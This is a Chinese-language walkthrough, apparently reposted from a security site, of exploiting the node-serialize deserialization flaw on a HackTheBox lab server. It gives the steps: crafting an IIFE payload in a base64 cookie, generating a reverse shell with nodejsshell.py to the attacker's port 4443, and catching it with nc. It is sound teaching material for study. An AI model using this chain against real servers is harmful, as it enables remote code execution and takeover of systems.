NodeJS反序列化漏洞利用


原文來自:http://www.4hou.com/web/13024.html

node.js是一個服務器端的運行環境,封裝了Google V8引擎,V8引擎執行JavaScript速度非常快,性能非常好。Node.js進行了一些優化並提供替代API,這使得Google V8引擎能夠在非瀏覽器環境下更有效的運行。

但是node.js的序列化過程中依然存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。

漏洞演示環境

靶機:hackthebox節點服務器

攻擊機:Kali Linux

安裝工具:nodejs,npm,nodejs toolkit,node-serialize

關於漏洞(反序列化攻擊)

不受信任的數據傳遞到unserialize()函數,導致我們可以利用JavaScript對象的立即執行函數表達式也就是IIFE來執行任意代碼。

第一步就是安裝nodejs,通過apt-get命令進行安裝,如下圖

apt-get install nodejs

nodejs反序列化漏洞利用getshell

第二步,使用curl命令安裝npm(需要用npm來安裝node-serialize包),命令如下:

curl -L https://www.npmjs.com/install.sh | sh

nodejs反序列化漏洞利用getshell

當你安裝和配置好了nodejs和npm之后,你就可以通過npm來安裝node-serialize包了,輸入以下命令即可:

npm install node-serialize

nodejs反序列化漏洞利用getshell

另一方面,我們已經連接到了hackthebox服務器,它的節點服務器存在漏洞,IP是10.10.10.85:3000(節點服務器上運行着nodejs express 框架,可以通過nmap來確認)

nodejs反序列化漏洞利用getshell

現在我們開始演示

首先,我們配置好Burp的代理設置,然后向剛才存在漏洞的IP發起請求,用Burp抓包攔截,如圖:

nodejs反序列化漏洞利用getshell

接着選擇cookie值發送到decoder模塊進行解碼,如圖:

nodejs反序列化漏洞利用getshell

這個應用程序的漏洞就是從HTTP請求的cookie中讀取profile的值,進行base64解碼后傳遞給unserialize()函數。由於cookie輸入是不可信的,攻擊者可以精心構造惡意cookie值來利用此漏洞。

 

接着我們需要下載nodejs security toolkit(nodejs安全工具包)。

在終端中輸入以下命令來下載工具包:

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

nodejs反序列化漏洞利用getshell

切換到下載的文件夾,執行以下命令來創建反向shell payload,這個payload會把JavaScript代碼當成字符串來執行。

python nodejsshell.py 10.10.14.145 4443

不過首先我們得輸入ifconfig來查看自己的IP地址, 然后再執行命令來創建payload,如圖:

nodejs反序列化漏洞利用getshell

下圖就是最終的反向shell payload:

nodejs反序列化漏洞利用getshell

現在我們用下面的JavaScript代碼來生成序列化的payload

var y = {
 rce : function() {}
 }
 var serialize = require(‘node-serialize’);
 console.log(“Serialized: \n” + serialize.serialize(y));

nodejs反序列化漏洞利用getshell

將剛才生成的payload放到花括號里,如圖:

nodejs反序列化漏洞利用getshell

將文件保存為exploit.js,然后使用node命令執行腳本來生成最終序列化的payload:

nodejs反序列化漏洞利用getshell

現在回到Burp中,切換到decoder模塊並粘貼上圖中的輸出代碼到文本框中解碼成字符串,解碼之前,在函數體后面加上IIFE圓括號():

然后需要對字符串進行base64編碼

nodejs反序列化漏洞利用getshell

向10.10.10.85:3000發出請求,攔截,發送到repeater模塊中,

nodejs反序列化漏洞利用getshell

在repeater模塊中,我們把cookie里的值替換成上面我們剛生成的payload,然后點擊go按鈕

nodejs反序列化漏洞利用getshell

同時,在你的攻擊機kali上監聽4443端口(也就是反向shell payload里的端口)

nodejs反序列化漏洞利用getshell

一旦你點擊了“go”按鈕,服務器接收到請求,返回200 OK響應碼,並顯示一條錯誤消息” An error occurred…invalid username type”,同時在nc終端中,你會看到你已經與服務器建立了連接,狀態為“connected”,然后你就可以任意執行系統命令了,如圖:

nodejs反序列化漏洞利用getshell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM